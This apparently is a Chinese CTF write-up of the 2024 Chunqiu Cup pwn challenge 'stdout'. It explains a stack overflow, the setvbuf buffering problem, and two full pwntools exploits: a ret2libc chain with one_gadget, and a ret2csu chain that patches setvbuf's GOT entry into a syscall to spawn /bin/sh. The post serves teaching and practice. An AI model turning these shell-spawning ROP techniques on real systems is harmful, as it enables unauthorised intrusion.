首页 > 其他分享 >2024春秋杯 stdout

2024春秋杯 stdout

时间:2024-07-08 15:41:02浏览次数:12  
标签:r15 p64 春秋 stdout text pop 2024 sh ret

考点:文件,setvbuf缓冲区,ret2syscall,ret2csu

题目给了libc文件。
main函数和vlun函数存在明显的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}

解1

直接从main跳到vuln,然后写了got地址、libc地址,ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲:

int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}

setvbuf函数,它有三种mode:

全缓冲:(_IOFBF)0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲:(_IOLBF)1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲:(_IONBF)2,直接输出。

也就是说,要想使缓冲区的got地址打印出来,有以下思路:

  1. 重新设置setvbuf,但这不知道管不管用,没法尝试因为这需要4个参数,没法控制rdx和rcx
  2. 调用fflush(stdout),但是需要泄露libc地址,死循环,这里做不到
  3. 挤爆缓冲区,自然就会把内容打印出来了
    这里只有第三种思路是可行的。

但是实际操作的时候,本地可以getshell,但是远程不行,寄!
另外,system("/bin/sh")不行,但是one_gadget可以。
Exp

from pwn import *
import sys

if len(sys.argv) == 3:
    ip = sys.argv[1]
    port = sys.argv[2]
    sh = remote(ip,port)
else:
    sh = process("./pwn")

elf = ELF("./pwn")
# libc = elf.libc
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")

# context(os="linux",arch="amd64",log_level="debug")
#gdb.attach(sh)

offset1 = 0x50+8
vuln = 0x40125D
offset2 = 0x20+8
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
ret = 0x000000000040101a # ret
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
extend = elf.symbols["extend"]
hello = 0x402032
just = 0x402008

sh.send(b"a"*offset1 + p64(vuln))
sleep(1)

payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
sh.send(payload)
recv_data = sh.recv(timeout=1)
print("----",len(recv_data))
i = 0 
# 用while或者for都行
# while len(recv_data) == 0:
#     payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
#     # sleep(1)
#     sh.send(payload)
#     print(i)
#     wait = 1
#     if i == 29:
#         wait = 3
#     recv_data = sh.recv(numb=48,timeout=wait)
#     i = 1 + i
for i in range(0):
    payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
    sleep(1)
    sh.send(payload)
    print(i)

recv_data = sh.recv()

# print(sh.recv())
puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
print(recv_data.split(b"hello")[0])
print(hex(puts_addr))
pause()
# pause()
# puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
# print(puts_addr)
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base

print("bin_sh--",hex(bin_sh)," system--",hex(system))

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

# payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
#payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
sh.send(payload)
sh.interactive()

有一篇类似的题目writeup
https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ

解2

控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
写入/bin/sh不难,写到bss段即可
修改setvbuf低位为syscall,这个是相邻函数存在着syscall

read函数的返回值是读入数据的长度,存放在rax。
通过ret2csu执行syscall

csu1
=============================================================
.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retn

csu2
==============================================================
.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    qword ptr [r15+rbx*8]

先执行csu1,然后通过ret跳转执行csu2,最后call [r15]

rbx:取0,方便后面call的时候控制地址
rbp:没啥用,取0
r12:mov给rdi-->mov edi, r12d,rdi高位都是0
r13:传给rsi
r14:传给rdx
r15:放入的值应该是存放了要执行函数地址的指针,如放入某个got地址,其指向的则是函数的真实地址,call的时候就回去执行该函数

本地不行,远程可以,6!
Exp

from pwn import *
import sys

if len(sys.argv) == 3:
    ip = sys.argv[1]
    port = sys.argv[2]
    sh = remote(ip,port)
else:
    sh = process("./pwn")

libc = ELF("./libc-2.31.so")
elf = ELF("./pwn")

context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(sh,"b *0x401348")

offset1 = 0x50+8
offset2 = 0x20+8
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
csu1 = 0x4013CA
csu2 = 0x4013B0
vuln = 0x40125D
payload1 = b"a"*offset1 + p64(vuln)
sh.send(payload1)

# call read
payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
sh.send(payload2)
sleep(1)
# write "/bin/sh\x00" to bss
sh.send(b"/bin/sh\x00")

payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
# 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
# payload3 += payload3.ljust(0x200,b"\x00")
pause()
sh.send(payload3)
sleep(1)
# change setvbuf to syscall
sh.send(b"\xc9")
pause()
sh.send(b"c"*0x3b)
# read return length of inputed data,rax
# rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]

sh.interactive()

'''
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

csu1
=============================================================
.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retn

csu2
==============================================================
.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
'''

payload2,payload3调用read的时候没有控制rdi的值,因为这里一直是0,标准输入
参考:
https://www.cnblogs.com/imarch22/p/18288087#stdout
https://www.mrskye.cn/archives/eedef7bd/
https://xkaneiki.github.io/2020/10/23/unexploitable/
https://cloud.tencent.com/developer/article/2063693

标签:r15,p64,春秋,stdout,text,pop,2024,sh,ret
From: https://www.cnblogs.com/liulangbxc/p/18290043

相关文章

  • SMU Summer 2024 Contest Round 1(7.8)
    A_DiceandCoin题目链接:abc126_c思路:分别求所有掷到的筛子数时赢得可能,进行求和voidsolve(){intn,k;cin>>n>>k;doubleans=0;for(inti=1;i<=n;++i){doublenow=1.0/n;if(i>=k)ans+=now;else{......
  • 2024最火的AI绘画软件——Stable Diffusion整合包安装教程,奶奶看了都会!
    2024年绘画圈最火的软件,那妥妥的就StableDiffutionV4升级版无需安装,直接解压就能用(在此要感谢秋葉aaaki大佬的分享!)比之前版本的更加智能、高效和易操作。V4加强版小白也能轻易上手!「无套路!添加下方即可领取」1.软件背景信息▍StableDiffusion是什么?StableDif......
  • SMU Summer 2024 Contest Round 1
    SMUSummer2024ContestRound1DiceandCoin题意给个n面骰子和一枚硬币,初始投骰子,若骰子的值在1到\(K-1\)之间则反复投硬币,硬币为正则该值翻倍,否则为0,当值为0输掉游戏或者大于等于\(K\)时赢得游戏结束,问你可以赢得游戏的概率为多少。思路以1到n为初始值......
  • 2024华为与IPD融合的质量研发体系设计,附设计案例
    (一)与IPD融合的治理研发体系设计大纲1.0IPD基础1.1IPD主业务流框架IPD(IntegratedProductDevelopment)是一种集成产品开发的方法,旨在通过跨部门协作和资源整合,提高产品开发效率和质量。其主业务流框架包括需求管理、产品规划、技术开发、产品验证和市场发布等关键环节.1.2......
  • 2024年文化研究与数字媒体国际会议 (CRDM 2024)
    2024年文化研究与数字媒体国际会议(CRDM2024)2024InternationalConferenceonCulturalResearchandDigitalMedia【重要信息】大会地点:珠海大会官网:http://www.iccrdm.com投稿邮箱:[email protected]【注意:稿将稿件Word+PDF上传至邮箱,邮件正文请备注“CRDM 2024......
  • 20240706总结(线段树应用)
    A-PhysicalEducationLessonsCF915EPhysicalEducationLessons题解:没什么好说的,动态开点模板题(好像普通线段树也可以做)B-GCDofanArrayCF1493DGCDofanArray题解:暴力分解质因数,修改的时候也把x分解,对每个质数开一个可重集合(multiset)记录一下每个质数出现的不同位......
  • 2024年,值得收藏!推荐一些好用的数据库管理工具合集!
    数据库管理工具合集!1、DBeaver(首选)DBeaver是一款免费开源的跨平台数据库管理工具,基于Java开发,支持目前几乎所有的主流数据库,包括MySQL、PostgreSQL、SQLite、Oracle、SQLServer、DB2、Sybase、Teradata、MongoDB等。它具有直观的用户界面,支持SQL编辑、数据查看、数据编辑、元......
  • 小抄 20240705
    1多观察,少评判。评判,就是用自己的主观观点在评价一个自己不了解的东西,一定会有偏见。观察,要抛开自己那些先入为主的观念,观察自己的想法,也观察眼前事物的变化,不评判,才能客观。2写作,更像是自己收集了一个问题,然后再自己解答出来。而且最关键的不是答案,而是能够准确描述问......
  • CCF-GESP计算机学会等级考试2024年6月六级C++T2二叉树
    解析:详见代码:#include<bits/stdc++.h>usingnamespacestd;intn;intq;strings;intp[100005];//p[i]表示i的父节点inta[100005];//对第i个节点的操作次数intb[100005];//第i个节点变化的总次数intdfs(intx){if(b[x]>0)returnb[x];//如果已计算,直接返......
  • CCF-GESP计算机学会等级考试2024年6月五级C++T2小杨的幸运数字
    解析:对每个数分解质因数,并统计质因数个数,详见代码:#include<bits/stdc++.h>usingnamespacestd;intn;intmain(){cin>>n;for(inti=1;i<=n;i++){intx;cin>>x;intcnt=0;//质因数个数for(intj=2;j*j......